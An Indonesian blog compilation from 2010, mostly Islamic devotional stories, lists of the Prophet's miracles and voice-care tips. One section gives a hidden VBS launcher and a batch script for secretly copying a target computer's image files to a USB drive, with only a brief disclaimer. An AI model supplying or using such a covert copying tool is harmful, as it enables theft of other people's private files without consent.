Kamis, 24 Juni 2010

AIRMATA RASULULLAH SAW...

Tiba-tiba dari luar pintu terdengar seorang yang berseru mengucapkan salam. "Bolehkah saya masuk?" tanyanya. Tapi Fatimah tidak mengizinkannya masuk, "Maafkanlah, ayahku sedang demam," kata Fatimah yang membalikkan badan dan menutup pintu.

Kemudian ia kembali menemani ayahnya yang ternyata sudah membuka mata dan bertanya pada Fatimah, "Siapakah itu wahai anakku?" "Tak tahulah ayahku, orang sepertinya baru sekali ini aku melihatnya," tutur Fatimah lembut.

Lalu, Rasulullah menatap puterinya itu dengan pandangan yang menggetarkan. Seolah-olah bahagian demi bahagian wajah anaknya itu hendak dikenang. "Ketahuilah, dialah yang menghapuskan kenikmatan sementara, dialah yang memisahkan pertemuan di dunia. Dialah malaikatul maut," kata Rasulullah, Fatimah pun menahan ledakkan tangisnya. Malaikat maut datang menghampiri, tapi Rasulullah menanyakan kenapa Jibril tidak ikut sama menyertainya.

Kemudian dipanggilah Jibril yang sebelumnya sudah bersiap di atas langit dunia menyambut ruh kekasih Allah dan penghulu dunia ini. "Jibril, jelaskan apa hakku nanti di hadapan Allah?" Tanya Rasululllah dengan suara yang amat lemah. "Pintu-pintu langit telah terbuka, para malaikat telah menanti ruhmu.

Semua syurga terbuka lebar menanti kedatanganmu," kata Jibril. Tapi itu ternyata tidak membuatkan Rasulullah lega, matanya masih penuh kecemasan.

"Engkau tidak senang mendengar khabar ini?" Tanya Jibril lagi. "Khabarkan kepadaku bagaimana nasib umatku kelak?" "Jangan khawatir, wahai Rasul Allah, aku pernah mendengar Allah berfirman kepadaku: 'Kuharamkan syurga bagi siapa saja, kecuali umat Muhammad telah berada di dalamnya," kata Jibril.

Detik-detik semakin dekat, saatnya Izrail melakukan tugas. Perlahan ruh Rasulullah ditarik. Nampak seluruh tubuh Rasulullah bersimbah peluh, urat-urat lehernya menegang. "Jibril, betapa sakit sakaratul maut ini."

Perlahan Rasulullah mengaduh. Fatimah terpejam, Ali yang di sampingnya menunduk semakin dalam dan Jibril memalingkan muka. "Jijikkah kau melihatku, hingga kau palingkan wajahmu Jibril?" Tanya Rasulullah pada Malaikat pengantar wahyu itu. "Siapakah yang sanggup, melihat kekasih Allah direnggut ajal," kata Jibril. Sebentar kemudian terdengar Rasulullah mengaduh, karena sakit yang tidak tertahankan lagi. "Ya Allah, dahsyat nian maut ini, timpakan saja semua siksa maut ini kepadaku, jangan pada umatku. "Badan Rasulullah mulai ding! in, kaki dan dadanya sudah tidak bergerak lagi.

Bibirnya bergetar seakan hendak membisikkan sesuatu, Ali segera mendekatkan telinganya. "Uushiikum bis shalati, wa maa malakat aimanuku - peliharalah shalat dan peliharalah orang-orang lemah di antaramu." Di luar pintu tangis mulai terdengar bersahutan, sahabat saling berpelukan. Fatimah menutupkan tangan di wajahnya, dan Ali kembali mendekatkan telinganya ke bibir Rasulullah yang mulai kebiruan. "Ummatii, ummatii, ummatiii?" - "Umatku, umatku, umatku"

Dan, berakhirlah hidup manusia mulia yang memberi sinaran itu. Kini, mampukah kita mencintai sepertinya? Allahumma sholli 'ala Muhammad wa baarik wa salim 'alaihi Betapa cintanya Rasulullah kepada kita.

CARA MENJAGA KUALITAS SUARA

Pada saat presentasi, kualitas vocal sangat menentukan keefektifan dalam presentasi. Walaupun komunikasi visual dan verbal merupakan faktor penting tapi kualitas suara juga merupakan faktor yang signifikan. Untuk menjaga kualitas suara agar tetap fit ada beberapa tips yang dapat dipergunakan :
1. Jangan merokok
Jika ingin menjaga kualitas suara tetap prima usahakan agar hindari rokok. Unsur dalam rokok menyebabkan dapat merusak suara.
2. Minum air putih yang cukup
Hindari untuk meminum teh, kopi, alcohol. dan air bersoda yang terlalu banyak. Usahakan hanya meminum 2-3 gelas perhari. Menurut penelitian terlalu banyak berjemur dipanas matahari dan berada diruangan ber AC menurunkan kualitas suara.
3. Pemanasan
Melatih suara sama dengan melatih otot diperlukan pemanasan. Teknik yang bisa dilakukan antara lain :
a. Lion Face bertujuan melemaskan otot-otot muka
Muka diciutkan bersamaan dengan menguncupkan jari – jari kedua tangan. Kemudian dilebarkan dengan menjulurkan lidah. Frekwensi 5 x @ 5 Hitungan
b.. Mengatupkan Gigi bertujuan melemaskan otot-otot rahang
Gigi dikatupkan dengan kuat, sementara bibir terbuka bersamaan dengan itu kedua tangan dikepalkan, 10 x @5 hitungan
4. Hindari makan terlalu malam
Makan terlalu malam mengakibatkan pencernaan yang tidak sempurna sehingga mempengaruhi kerja tenggorokan yang akan mempengaruhi kualitas vokal.
5. Mengontrol stress
Stress yang berlebihan dapat mengakibatkan menurunnya kualitas suara. Gunakan teknik relaksasi dan bernafas yang dalam dapat mengurangi stress.
Selamat menerapkan, semoga bermanfaat.

(diambil dari berbagai sumber)

CAra Copy Data Ke Flash Disk Secara Diam-diam

1.Buka notepad, buat file vbs ketik atau copy paste script berikut:

dim wshshell, dos
set wshshell = wscript.createobject("wscript.shell")
dos = wshshell.expandenvironmentstrings("%comspec%")
wshshell.run (dos & " /c tarik.bat"), vbhide

2.Simpan dengan file name nya contoh start.vbs save as typenya pilih all files

3.Buka notepad lagi, buat file bat ketik atau copy paste script berikut:

@echo off
mkdir %computername%
xcopy "C:\Documents and Settings\%username%\My Documents\*.jpg" %computername% /s/c/q/r
@cls
@exit

4.Simpan dengan file name nya contoh tarik.bat save as typenya pilih all files.
Nama file bat ini harus sesuai dengan script file vbs baris ke empat (tarik.bat)

Simpan kedua file tersebut didalam flash disk, Untuk copy file komputer target secara diam-diam jalankan (2x klik) file start.vbs.

Fungsi file vbs (start.vbs) berfungsi untuk menjalankan file bat (tarik.bat) secara diam-diam atau istilahnya background proses. Sedangkan file bat (tarik.bat) berfungsi untuk menjalankan perintah copy semua file dengan ektensi tertentu yang ada dikomputer target.

Contoh tersebuat diatas adalah copy semua file yang berektensi jpg (file gambar) yang ada di folder MyDocuments di komputer target (lihat baris ketiga script file bat) Dan disimpan kedalam flash disk ke dalam folder dengan nama sesuai nama komputer target. anda bisa meng edit sendiri kedua file tsb diatas sesuai keperluan format file dan folder target yg akan di copy.


Artikel ini hanya pengetahuan saja, tidak ada maksud mengajarkan untuk mencuri data komputer orang.Contoh penggunaan yang baik adalah untuk backup file anda ke flash disk.

Rabu, 23 Juni 2010

KISAH LIMA PERKARA ANEH


kisah ini saya ambil dari ebook 1001 kisah teladan, semoga bermanfaat....
*****

Abu Laits as-Samarqandi adalah seorang ahli fiqh yang masyur. Suatu ketika dia pernah berkata, ayahku menceritakan bahawa antara Nabi-nabi yang bukan Rasul ada menerima wahyu dalam bentuk mimpi dan ada yang hanya mendengar suara.
Maka salah seorang Nabi yang menerima wahyu melalui mimpi itu, pada suatu malam bermimpi diperintahkan yang berbunyi, "Esok engkau dikehendaki keluar dari rumah pada waktu pagi menghala ke barat. Engkau dikehendaki berbuat, pertama; apa yang negkau lihat (hadapi) maka makanlah, kedua; engkau sembunyikan, ketiga; engkau terimalah, keempat; jangan engkau putuskan harapan, yang kelima; larilah engkau daripadanya."

Pada keesokan harinya, Nabi itu pun keluar dari rumahnya menuju ke barat dan kebetulan yang pertama dihadapinya ialah sebuah bukit besar berwarna hitam. Nabi itu kebingungan sambil berkata, "Aku diperintahkan memakan pertama aku hadapi, tapi sungguh aneh sesuatu yang mustahil yang tidak dapat dilaksanakan."
Maka Nabi itu terus berjalan menuju ke bukit itu dengan hasrat untuk memakannya. Ketika dia menghampirinya, tiba-tiba bukit itu mengecilkan diri sehingga menjadi sebesar buku roti. Maka Nabi itu pun mengambilnya lalu disuapkan ke mulutnya. Bila ditelan terasa sungguh manis bagaikan madu. Dia pun mengucapkan syukur 'Alhamdulillah'.

Kemudian Nabi itu meneruskan perjalanannya lalu bertemu pula dengan sebuah mangkuk emas. Dia teringat akan arahan mimpinya supaya disembunyikan, lantas Nabi itu pun menggali sebuah lubang lalu ditanamkan mangkuk emas itu, kemudian ditinggalkannya. Tiba-tiba mangkuk emas itu terkeluar semula. Nabi itu pun menanamkannya semula sehingga tiga kali berturut-turut.
Maka berkatalah Nabi itu, "Aku telah melaksanakan perintahmu." Lalu dia pun meneruskan perjalanannya tanpa disedari oleh Nabi itu yang mangkuk emas itu terkeluar semula dari tempat ia ditanam.

Ketika dia sedang berjalan, tiba-tiba dia ternampak seekor burung helang sedang mengejar seekor burung kecil. Kemudian terdengarlah burung kecil itu berkata, "Wahai Nabi Allah, tolonglah aku."
Mendengar rayuan burung itu, hatinya merasa simpati lalu dia pun mengambil burung itu dan dimasukkan ke dalam bajunya. Melihatkan keadaan itu, lantas burung helang itu pun datang menghampiri Nabi itu sambil berkata, "Wahai Nabi Allah, aku sangat lapar dan aku mengejar burung itu sejak pagi tadi. Oleh itu janganlah engkau patahkan harapanku dari rezekiku."

Nabi itu teringatkan pesanan arahan dalam mimpinya yang keempat, iaitu tidak boleh putuskan harapan. Dia menjadi kebingungan untuk menyelesaikan perkara itu. Akhirnya dia membuat keputusan untuk mengambil pedangnya lalu memotong sedikit daging pehanya dan diberikan kepada helang itu. Setelah mendapat daging itu, helang pun terbang dan burung kecil tadi dilepaskan dari dalam bajunya.
Selepas kejadian itu, Nabi meneruskan perjalannya. Tidak lama kemudian dia bertemu dengan satu bangkai yang amat busuk baunya, maka dia pun bergegas lari dari situ kerana tidak tahan menghidu bau yang menyakitkan hidungnya. Setelah menemui kelima-lima peristiwa itu, maka kembalilah Nabi ke rumahnya. Pada malam itu, Nabi pun berdoa. Dalam doanya dia berkata, "Ya Allah, aku telah pun melaksanakan perintah-Mu sebagaimana yang diberitahu di dalam mimpiku, maka jelaskanlah kepadaku erti semuanya ini."

Dalam mimpi beliau telah diberitahu oleh Allah S.W.T. bahawa, "Yang pertama engkau makan itu ialah marah. Pada mulanya nampak besar seperti bukittetapi pada akhirnya jika bersabar dan dapat mengawal serta menahannya, maka marah itu pun akan menjadi lebih manis daripada madu.
Kedua; semua amal kebaikan (budi), walaupun disembunyikan, maka ia tetap akan nampak jua. Ketiga; jika sudah menerima amanah seseorang, maka janganlah kamu khianat kepadanya. Keempat; jika orang meminta kepadamu, maka usahakanlah untuknya demi membantu kepadanya meskipun kau sendiri berhajat. Kelima; bau yang busuk itu ialah ghibah (menceritakan hal seseorang). Maka larilah dari orang-orang yang sedang duduk berkumpul membuat ghibah."

Saudara-saudaraku, kelima-lima kisah ini hendaklah kita semaikan dalam diri kita, sebab kelima-lima perkara ini sentiasa sahaja berlaku dalam kehidupan kita sehari-hari. Perkara yang tidak dapat kita elakkan setiap hari ialah mengata hal orang, memang menjadi tabiat seseorang itu suka mengata hal orang lain. Haruslah kita ingat bahawa kata-mengata hal seseorang itu akan menghilangkan pahala kita, sebab ada sebuah hadis mengatakan di akhirat nanti ada seorang hamba Allah akan terkejut melihat pahala yang tidak pernah dikerjakannya. Lalu dia bertanya, "Wahai Allah, sesungguhnya pahala yang Kamu berikan ini tidak pernah aku kerjakan di dunia dulu."

Maka berkata Allah S.W.T., "Ini adalah pahala orang yang mengata-ngata tentang dirimu." Dengan ini haruslah kita sedar bahawa walaupun apa yang kita kata itu memang benar, tetapi kata-mengata itu akan merugikan diri kita sendiri. Oleh kerana itu, hendaklah kita jangan mengata hal orang walaupun ia benar.

Mu’jizat Rosullullah

Heeem kali ne ane mau bahas tentang mu’jizat Rosulullah saw yang ternyata banyak begete lho, ya itung2 buat nambah pengetahuan aja… langsung aj dech biar g kebanyakan bla,,bla,,bla…
- Mukjizat teragung dan kejelasannya telah terbukti adalah al-Qu’ar al- Karim; yang tidak datang padanya kebatilan baik dari depan maupun dari belakangnya, yang diturunkan dari Tuhan Yang Maha Bijaksana lagi Maha Terpuji; yang menjadikan para ahli Bahasa dan orang-orang yang fasih harus bertekuk lutut; mereka tidak mampu membuat kalimat kalimat serupa dengan alQur’an walau hanya 10 surat, atau 1 surat, bahkan hanya 1 ayat. Orang-orang musyrik pun mengakui kemukjizatannya, bahkan para penentang Islam orang-orang atheis pun meyakini kebenarannya.
- Orang-orang musyrik pernah meminta Rasulullah SAW untuk menunjukkan satu mukjizat, maka beliau pun menunjukkan dengan terbelahnya bulan hingga hampir terpisah menjadi dua bagian.itulah maksud ayat Allah di surat alQomar ayat 1: Telah dekat datangnya saat itu dan telah terbelah bulan.
- Rasulullah saw berkata:“Sesungguhnya Allah Ta’ala menghimpun bumi untukku, hingga aku melihat bagian timur dan baratnya. Dan kekuasaan umatku akan mencapai apa yang telah dihimpun Allah itu“. Dan Allah membuktikan kebenaran perkataan Rasulullah SAW tersebut, dengan tercapainya kekuasaan umatnya yang meliputi ujung timur dan ujung barat, dan tidak tersebar ke utara dan selatan.
- Rasulullah saw terbiasa berkhutbah di atas potongan batang kurma, suatu ketika beliau membuat mimbar, dan berdiri di atasnya, maka terdengarlah tangisan dari batang kurma seperti tangisan.....
- Diantara mukjizat yang lain adalah terpancarnya air dari sela-sela jemarinya, terjadi tidak hanya sekali.
- Bertasbihnya kerikil di telapak tangannya, lalu beliau menaruhnya di
telapak Abu Bakar, lalu Umar, lalu Usman, dan kerikil itu tetap bertasbih.
- Para Sahabat mendengar makanan bertasbih pada saat Rasulullah saw bersama mereka, sementara makanan tersebut sedang disantap.
- Bebatuan dan pepohonan mengucapkan salam pada Rasulullah saw pada malam beliau diangkat jadi Rasul.
- Paha kambing yang beracun berbicara pada Rasulullah saw. Orangorang yang makan kambing beracun bersamanya meninggal dunia, sementara beliau meninggal 4 tahun kemudian.
- Serigala bersaksi atas kenabian Rasulullah saw.
- Suatu ketika, beliau dalam perjalanan, dan melewati seekor unta yang kehausan dan minta minum padanya. Maka tatkala melihat onta tersebut berjalan dengan menyeret kaki dan meletakkan leher depannya, beliau bersabda: “sesungguhnya dia mengeluh karena terlalu banyak kerja dandiberi makan sedikit”
- Di saat yang lain beliau masuk sebuah tembok yang dibalik tembok itu terdapat onta. Tatkala onta tersebut dilihat Rasulullah saw, ia merintih dan menangis. Maka beliau pun berkata pada pemiliknya:”Sesungguhnya ia mengadu padaku, bahwa engkau membuatnya kelaparan, dan menjadikannya letih (karena banyak kerja).
- Suatu saat beliau masuk sebuah tembok yang lain, dan dibalik tembok itu terdapat 2 ekor onta jantan. Sementara pemiliknya kesulitan untuk menggiring keduanya (karena berontak). Ketika salah satu onta tersebut melihat Rasulullah saw, tiba-tiba duduk menderum di hadapannya. Maka Rasulullah saw pun menenangkannya dan membawanya pada pemiliknya. Onta kedua pun melakukan hal yang sama.
- Suatu saat beliau tidur dalam sebuah perjalanan, tiba tiba datanglah sebuah pohon, membelah bumi dan tegak menaungi Rasulullah saw. Tatkala beliau bangun, diceritakanlah kejadian tersebut padanya. Maka beliau pun bersabda: “Pohon tersebut telah minta ijin pada Tuhannya untuk mengucapkan salam pada Rasulullah saw, lalu Tuhan pun mengijinkannya.
- Beliau menyuruh 2 batang pohon untuk berkumpul, maka keduanya pun berkumpul. dan menyuruh keduanya untuk berpisah kembali, maka keduanya pun berpisah.
- Seorang Arab Badui minta pada Rasulullah saw untuk menunjukkan sebuah mukjizat, maka beliau pun memanggol sebatang pohon. Pohon tersebut langsung memotong akarnya dan datang kehadapan Rasulullah saw. Tatkala beliau menyuruhnya untuk kembali, kembalilah pohon tersebut ke tempatnya semula.
- Beliau ingin memotong 6 ekor onta gemuk. Tiba-tiba keenam ekor onta tersebut mendekat padanya, hingga beliau dapat dengan mudah menyembelihnya satu demi satu.
- Beliau mengusap tetek kambing betina yang tidak hamil, dan tidak dikawini pejantan, maka mengalir deraslah susu dari tetek kambing tersebut. Beliau pun meminumnya dan memberikannya juga pada Abu Bakar.Kisah semacam ini juga terjadi di kemah Umi Ma’bad al Khuzaiyah.
- Salah satu bola mata Abu Qotadah bin Nu’man adz Dzofari keluar hingga jatuh di tangannya, lalu Rasulullah saw pun mengembalikannya. Maka mata tersebut menjadi paling bagus dan tajam dibanding mata yang sebelahnya. Diriwayatkan????...
- Kedua mata Ali bin Abi Thalib ra pernah sakit , lalu Rasulullah saw pun meludahinya. Maka sembuhlah saat itu juga. Dan tidak pernah sakit mata lagi. Dia juga didoakan Rasulullah saw saat sakit, lalu sembuhlah ia. Dan setelah itu tidak pernah lagi mengeluh kesakitan.
- Kaki Abdullah bin Atik al Anshari pernah sakit, lalu diusaplah oleh Rasulullah saw. Saat itu juga kakinya sembuh.
- Kematian Ubay bin Khalaf al Jumahi pada perang Uhud telah dikabarkan sebelumnya oleh Rasulullah saw. Beliau hanya menggoresnya sedikit, lantas meninggal
- Sa’ad bin Muadz berkata pada Umayyah bin Khalaf, saudara Ubay bin Khalaf: “Saya mendengar Muhammad sesumbar bahwa dia yang akan membunuhmu.” Maka pada Perang Badar terbunuhlah dia dalam keadaan kafir.
- Sebelum terjadi perang Badar beliau mengkabarkan tempat-tempat yang akan menjadi letak tewasnya orang-orang musyrik. Beliau berkata: “Ini tempat tewasnya Fulan besok insya Allah, ini tempat tewasnya Fulan besok insya Allah.“ Hal itu pun terbukti
- Beliau mengkabarkan bahwa, ada beberapa kelompok umatnya yang akan berjihad mengarungi lautan, dan Umi Haram binti Milhan termasuk diantara mereka. Dan terbuktilah perkataan Beliau
- Beliau berkata pada Usman:“Engkau akan ditimpa musibah besar. Ternyata Usman mati terbunuh.
- Dan beliau berkata pada Hasan bin Ali: “Sesungguhnya cucuku ini seorang tokoh, semoga Allah mendamaikan 2 kelompok orang-orang mukmin yang bertikai melalui perantaraannya.“ Dan terbuktilah perkataan beliau.
- Kematian al Aswadal Ansi al Kadzdzab dikabarkan pada Malam ia terbunuh, dan siapa pembunuhnya, padahal ia di San’a Yaman. Demikian pula kematian Kisra.
- Beliau memberitahukan tentang Syaima’ binti Buqailah al Azadiyah, bahwasanya ia diangkat dengan mengenakan kerudung hitam di atas bagal kelabu, kemudian hal ini terbukti pada zaman Abu Bakar as Siddik ra pada tentara Khalid bin Walid.
- Perkataan Beliau pada Tsabit bin Qois bin Syimas: “Engkau akan hidup mulia dan mati syahid.“ Maka hal itu terbukti, dia hidup mulia dan mati syahid dalam perang Yamamah.
- Perkataan beliau tentang seseorang yang mengaku dirinya Islam, dan ikut terjun di medan perang:“Sesungguhnya ia termasuk ahli neraka“. Maka Allah pun membuktikan perkataannya, orang tersebut mati bunuh diri.
- Doa beliau untuk Umar bin Khatab sebelum islamnya. Maka keesokan harinya, ia pun masuk Islam.
- Doa beliau untuk Ali bin Abi Thalib agar Allah menghilangkan panas dan dingin darinya. Maka Ali pun tidak merasa panas dan dingin lagi setelah itu.
- Doa beliau untuk Abdullah bin Abbas agar dipahamkan oleh Allah ilmuilmu agama dan tafsir. Hal itu terbukti hingga dijuluki Lautan Ilmu karena banyaknya ilmu yang ia kuasai.
- Doa beliau untuk Anas bin Malik agar panjang umur, banyak anak dan harta, serta diberkahi Allah. Terbukti dengan lahirnya 120 anak kandungnya, memiliki kebun kurma yang berbuah 2 kali dalam setahun, dan hidup hingga mencapai usia 120 tahun atau sekitar angka itu.
- Utaibah bin Abu Lahab merobek baju dan menyakiti beliau. Maka berdoalah beliau memohon pada Allah agar ia mendapat bencana dengan ulah seekor anjing diantara anjing-anjingnya. Dia pun dibunuh oleh singa di Zarqa, daerah Syam.
- Beliau mendapat pengaduan atas kemarau yang berkepanjangan, dan tiada turun hujan, sementara saat itu beliau berkhutbah jum’at di atas mimbar. Maka beliau pun berdoa, sementara di langit tak ada gumpalan awan. Secara tiba-tiba datanglah mendung yang bergulung-gulung sebesar gunung, dan turunlah hujan yang berkepanjangan hingga hari jum’at berikutnya. Dan muncullah pengaduan pada beliau atas banyaknya hujan tersebut, sehingga beliau pun berdoa kembali. Dan hujan pun terhenti, hingga orang-orang keluar dari rumah mereka berjalan di bawah terik matahari.
- Beliau memberi makan pasukan perang Khandak yang berjumlah ribuan, juga hewan ternak dari sebuah wadah kecil yang biasa untuk menakar gandum atau lebih kecil dari itu. Mereka pun kenyang dan ketika beranjak pergi, sisa makanan pun masih seperti semula.
- Dan beliau memberi makan pasukan perang Khandak juga dengan sedikit kurma yang dibawa oleh putri Basir bin Sa’ad. Sebenarnya kurma tersebut untuk ayah dan pamannya, Abdullah bin Rawahah.
- Beliau menyuruh Umar bin Khatab untuk memberikan bekal pada 400 orang pasukan berkuda dengan sedikit kurma. Setelah hal tersebut dilaksanakan, sisa kurma tetap seperti semula, seakan tidak berkurang sedikitpun.
- Beliau memberi makan 80 orang di rumah Abu Thalhah dengan beberapa potong roti dari gandum yang jumlahnya sangat sedikit, bahkan Anas yang menghidangkannya, membawa roti yang sedikit tersebut cukup diapit dibawah ketiaknya. Namun mereka merasa kenyang seluruhnya.
- Beliau memberi makan para pasukan dengan makanan dari sebuah wadah milik Abu Hurairah hingga mereka kenyang seluruhnya. Lalu beliau mengembalikannya dan masih ada sisa. Beliau pun mendoakannya. Maka Abu Hurairah pun senantiasa makan makanan dari wadah itu selama hidup Rasulullah, Abu Bakar, Umar dan Usman. Tatkala Usman terbunuh, wadah tersebut ia hadiahkan pada seseorang. Dan dalam riwayat darinya(Abu Hurairah), wadah tersebut mampu menampung 3000 gantang makanan tatkala dibawa jihad fi sabilillah.
- Ketika menikah dengan Zaenab, beliau memberi makan para tamu dari sebuah mangkuk buatan yang merupakan hadiah dari Ummu Sulaim untuk Zaenab. Makanan yang diambil dari mangkuk tersebut senantiasa tetap, tak berkurang.

- Pada saat Perang Hunain, beliau melempar pasukan musuh dengan segenggam pasir. Dengan pertolongan Allah, musuh dapat dikalahkan. Diantara mereka ada yang berkata:“tak seorang pun diantara kami yang luput dari siraman pasir, semua mata terkena siraman tersebut. Allah berfirman dalam peristiwa ini: Maka (yang sebenarnya) bukan kamu yang membunuh mereka, akan tetapi Allah-lah yang membunuh mereka, dan bukan kamu yang melempar ketika kamu melempar, tetapi Allah-lah yang melempar. (surat al Anfal:17)
- Seratus orang kafir Qurais menunggu beliau di luar rumah, dan bermaksud membunuhnya. Namun begitu beliau keluar, dan menyiramkan pasir ke kepala mereka, mereka tak sanggup melihat Rasulullah yang berlalu di hadapan mereka.
- Suraqah bin Malik bin Ju’sam mengejar beliau saat perjalanan hijrah ke Madinah. Pengejaran itu dia lakukan karena ingin membunuh atau menawannya. Tatkala jarak antara dia dan Rasulullah telah dekat, Rasulullah pun berdoa dan Allah mengabulkan dengan terperosoknya kaki kuda Suraqah ke dalam tanah. Dia pun berteriak minta tolong pada Rasulullah. Maka tatkala Rasulullah berdoa kembali, kaki kuda Suraqah pun dapat keluar dari himpitan tanah kembali. Mukjizat-mukjizat beliau yang lain masih banyak, sebagai bukti kenabian dan akhlaq beliau yang suci tetapi kami cukup menyebutkan sebagiannya saja.

Ketika Iblis membentangkan sajadah

Afwan kalo udah pad abaca, cz artikel ne sebenernya udah lama begete sejak tahun 2003 klo gak salah,, ya buat pelajaran aja yua… hehehe
****
Siang menjelang dzuhur. Salah satu Iblis ada di Masjid. Kebetulan hari itu Jum'at, saat berkumpulnya orang. Iblis sudah ada dalam Masjid. Ia tampak begitu khusyuk. Orang mulai berdatangan. Iblis menjelma menjadi ratusan bentuk & masuk dari segala penjuru, lewat jendela, pintu, ventilasi, atau masuk lewat lubang pembuangan air.
Pada setiap orang, Iblis juga masuk lewat telinga, ke dalam syaraf mata, ke dalam urat nadi, lalu menggerakkan denyut jantung setiap para jamaah yang hadir. Iblis juga menempel di setiap sajadah. "Hai, Blis!", panggil Kiai, ketika baru masuk ke Masjid itu. Iblis merasa terusik : "Kau kerjakan saja tugasmu, Kiai. Tidak perlu kau larang-larang saya. Ini hak saya untuk menganggu setiap orang dalam Masjid ini!", jawab Iblis ketus.
"Ini rumah Tuhan, Blis! Tempat yang suci,Kalau kau mau ganggu, kau bisa diluar nanti!", Kiai mencoba mengusir.
"Kiai, hari ini, adalah hari uji coba sistem baru". Kiai tercenung. "Saya sedang menerapkan cara baru, untuk menjerat kaummu". "Dengan apa?"
"Dengan sajadah!"
"Apa yang bisa kau lakukan dengan sajadah, Blis?"
"Pertama, saya akan masuk ke setiap pemilik saham industri sajadah. Mereka akan saya jebak dengan mimpi untung besar. Sehingga, mereka akan tega memeras buruh untuk bekerja dengan upah di bawah UMR, demi keuntungan besar!"
"Ah, itu kan memang cara lama yang sering kau pakai. Tidak ada yang baru,Blis?"
"Bukan itu saja Kiai..."
"Lalu?"
"Saya juga akan masuk pada setiap desainer sajadah. Saya akan menumbuhkan gagasan, agar para desainer itu membuat sajadah yang lebar-lebar"
"Untuk apa?"
"Supaya, saya lebih berpeluang untuk menanamkan rasa egois di setiap kaum yang Kau pimpin, Kiai! Selain itu, Saya akan lebih leluasa, masuk dalam barisan sholat. Dengan sajadah yang lebar maka barisan shaf akan renggang. Dan saya ada dalam kerenganggan itu. Di situ Saya bisa ikut membentangkan sajadah".
Dialog Iblis dan Kiai sesaat terputus. Dua orang datang, dan keduanya membentangkan sajadah. Keduanya berdampingan. Salah satunya, memiliki sajadah yang lebar. Sementara, satu lagi, sajadahnya lebih kecil. Orang yang punya sajadah lebar seenaknya saja membentangkan sajadahnya, tanpa melihat kanan-kirinya. Sementara, orang yang punya sajadah lebih kecil, tidak enak hati jika harus mendesak jamaah lain yang sudah lebih dulu datang. Tanpa berpikir panjang, pemilik sajadah kecil membentangkan saja sajadahnya, sehingga sebagian sajadah yang lebar tertutupi sepertiganya.
Keduanya masih melakukan sholat sunnah.
"Nah, lihat itu Kiai!", Iblis memulai dialog lagi.
"Yang mana?"
"Ada dua orang yang sedang sholat sunnah itu. Mereka punya sajadah yang berbeda ukuran. Lihat sekarang, aku akan masuk diantara mereka".

Iblis lenyap.
Ia sudah masuk ke dalam barisan shaf.
Kiai hanya memperhatikan kedua orang yang sedang melakukan sholat sunah. Kiai akan melihat kebenaran rencana yang dikatakan Iblis sebelumnya. Pemilik sajadah lebar, rukuk. Kemudian sujud. Tetapi, sembari bangun dari sujud, ia membuka sajadahya yang tertumpuk, lalu meletakkan sajadahnya di atas sajadah yang kecil. Hingga sajadah yang kecil kembali berada di bawahnya. Ia kemudian berdiri. Sementara, pemilik sajadah yang lebih kecil, melakukan hal serupa.
Ia juga membuka sajadahnya, karena sajadahnya ditumpuk oleh sajadah yang lebar. Itu berjalan sampai akhir sholat. Bahkan, pada saat sholat wajib juga, kejadian-kejadian itu beberapa kali terihat di beberapa masjid. Orang lebih memilih menjadi di atas, ketimbang menerima di bawah. Di atas sajadah, orang sudah berebut kekuasaan atas lainnya. Siapa yang memiliki sajadah lebar, maka, ia akan meletakkan sajadahnya diatas sajadah yang kecil. Sajadah sudah dijadikan Iblis sebagai pembedaan kelas.
Pemilik sajadah lebar, diindentikan sebagai para pemilik kekayaan, yang setiap saat harus lebih di atas dari pada yang lain. Dan pemilik sajadah kecil, adalah kelas bawah yang setiap saat akan selalu menjadi sub-ordinat dari orang yang berkuasa.
Di atas sajadah, Iblis telah mengajari orang supaya selalu menguasai orang lain.
"Astaghfirullahal adziiiim ", ujar sang Kiai pelan.

Surat Cinta Dari.....


Waktu browsing di 4shared.com iseng2 ane masukan kata “iblis” ternyata yang muncul kebanyakan novel “wiro sableng” pas tak lanjutkan ke halaman berikut ane nemukan artikel yang berjudul “Surat Cinta Dari….” Karena penasaran ane donlot aja dech yang isinya sbb :
Hai manusia yang tersayang,

Tadi malam waktu akan tidur, aku lihat engkau tidak memuji Allah, tidak berselawat, tidak membaca Ayat Kursi dan Qulhu. Ini bagus sekali karena waktu akan tidur adalah waktu untuk tidur, bukan untuk membaca Al-qur'an. Sesungguhnya
engkau tidak membuang-buang masa.

Pagi ini aku lihat engkau tidak bangun mengerjakan shalat subuh. Bagus sekali ! Engkau telah membuktikan bahwa engkau adalah sahabatku yang budiman. Janganlah engkau susah-susah bangun dan memendekkan tidurmu. Tidurlah dengan nyenyak dan nyaman. Jangan hiraukan suara ayam berkokok yang mengejutkan engkau dari tidurmu. Bila subuh datang menjelang, udara masih dingin, tariklah selimutmu dan tidurlah sayangku seperti puteri kayangan.

Aku lihat engkau jarang-jarang mengambil wudhu'. Ini bagus sekali karena engkau tidak membazirkan air dan tidak meninggikan water bill rumahmu.

Aku lihat engkau tak pernah membaca Bismillah sewaktu akan makan. Ini bagus, karena engkau tidak memenatkan mulutmu. Dan bila sudah kenyang, engkau tak pernah menyebut Alhamdulillah. Ini bagus juga. Cukuplah engkau sedawa kuat-kuat seperti lembu.

Hai manusia yang kucintai, Semalam ada seorang peminta sedekah datang ke rumahmu. Engkau menghalau dia pergi tanpa engkau memberikan duit sesen ataupun seteguk air. Ini sangat bagus dan terpuji, karena engkau tidak membuang-buang
duit dan tak membazirkan rezekimu yang melempah-ruah yang diberi Allah kepadamu. Engkau seorang yang jimat cermat. Biarlah rezeki engkau untuk kegunaan engkau seorang, untuk menonton wayang, berholiday di Genting dan membeli kemewahan-kemewahan dunia.

Aku lihat bila engkau bertemu dengan sahabat handaimu, engkau tidak mengucapkan
Assalamualaikum. Engkau mengucapkan "Hi Everybody!" Ini bagus juga karena engkau menunjukkan bahwa engkau mengerti adab orang kafir dan engkau mengerti bahasa Inggris. Tak perlu engkau belajar membaca bahasa Arab, karena ini bukan bahasa antara-bangsa.

Engkau telah membuktikan bahwa engkau dan aku adalah sahabat sejati. Sudah tentu engkau adalah seorang yang budiman kepada kaumku.

